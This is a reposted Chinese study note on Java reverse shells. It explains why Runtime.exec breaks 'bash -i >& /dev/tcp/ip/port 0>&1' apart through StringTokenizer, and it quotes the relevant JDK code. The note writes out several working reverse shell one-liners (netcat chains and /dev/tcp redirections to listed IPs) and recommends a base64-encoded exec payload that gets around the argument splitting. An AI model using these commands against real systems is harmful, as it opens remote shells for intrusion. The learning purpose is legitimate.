ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

Java反弹shell小记(个人学习记录)

2021-11-08 13:04:28  阅读:679  来源: 互联网

标签:shell Java String exec cmdarray command public bash 小记


前言

看到谢公子公众号推的一篇JDWP打点,看到如下形式的反弹shell,以前有记过。
nc 192.168.178.129 3333 | /bin/bash | nc 192.168.178.129 4444%
sh -i >& /dev/tcp/101.200.xx.xx/3333 0>&1 | /bin/sh | sh -i >& /dev/tcp/101.200.xx.xx/4444 0>&1%
但是没理解,并且再看这篇推文的时候也有疑惑为什么没有用基础的bash反弹shell,搜索发现使用Java反弹shell不能直接这么用,平时直接用在线生成的Java反弹shell
Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");
该文仅作为个人学习记录

理解

bash -i >& /dev/tcp/ip/port 0>&1

  1. bash -i 创建一个交互式的bash进程
  2. /dev/tcp/ip/port,linux中所有的程序都是以文件的形式存在。这句话的意思与ip:port建立了一个TCP连接。
  3. >& command >&file这种写法也等价于command >file 2>&1。(其中2>&1表示的就是将文件描述符2重定向到文件描述符1)
  4. 0>&1 将标准输入重定向到标准输出

nc IP 8888 | /bin/bash | nc IP 9999

8888端口输入命令,9999端口监听输出执行结果
将8888监听到的数据作为/bin/bash重定向输入,执行传回来的命令,然后再将执行结果作为输入重定向发送给监听主机的9999端口

Java反弹shell

究其原因,为什么不能直接Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");还是因为exec的字符串分割问题
在spoock博文中有做具体分析,这里直接照搬exec的分析
在java.lang.Runtime()中存在多个重载的exec()方法,如下所示:

public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)

除了常见的exec(String command)和exec(String cmdarray[]),其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec的正确姿势
分析exec(String cmdarray[])和exec(String command):

// exec(String command) 函数
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

这里有可能看到不管是public Process exec(String command)还是public Process exec(String cmdarray[])最终都调用了public Process exec(String command, String[] envp, File dir),public Process exec(String[] cmdarray, String[] envp)这样的具体方法。
其中有一个函数StringTokenizer
StringTokenizer 通过分割符进行分割,java 默认的分隔符是空格("")、制表符(\t)、换行符(\n)、回车符(\r)
因此在传入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");会被拆分成如下形式
1 | 2 | 3 | 4 | 5
–|—|—|—|–
bash | -i | >& | /dev/tcp/ip/port | 0>&1
而我们执行r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});,执行到exec(cmdarray, envp, dir);时,cmdarray的参数结果是:
1 | 2 | 3
–|—|–
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1
因此为了绕过空格,这里直接推荐最放便的base64写法
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

学习文章

https://blog.spoock.com/2018/11/07/java-reverse-shell/
https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
https://paper.seebug.org/933/

标签:shell,Java,String,exec,cmdarray,command,public,bash,小记
来源: https://www.cnblogs.com/BOHB-yunying/p/15523680.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有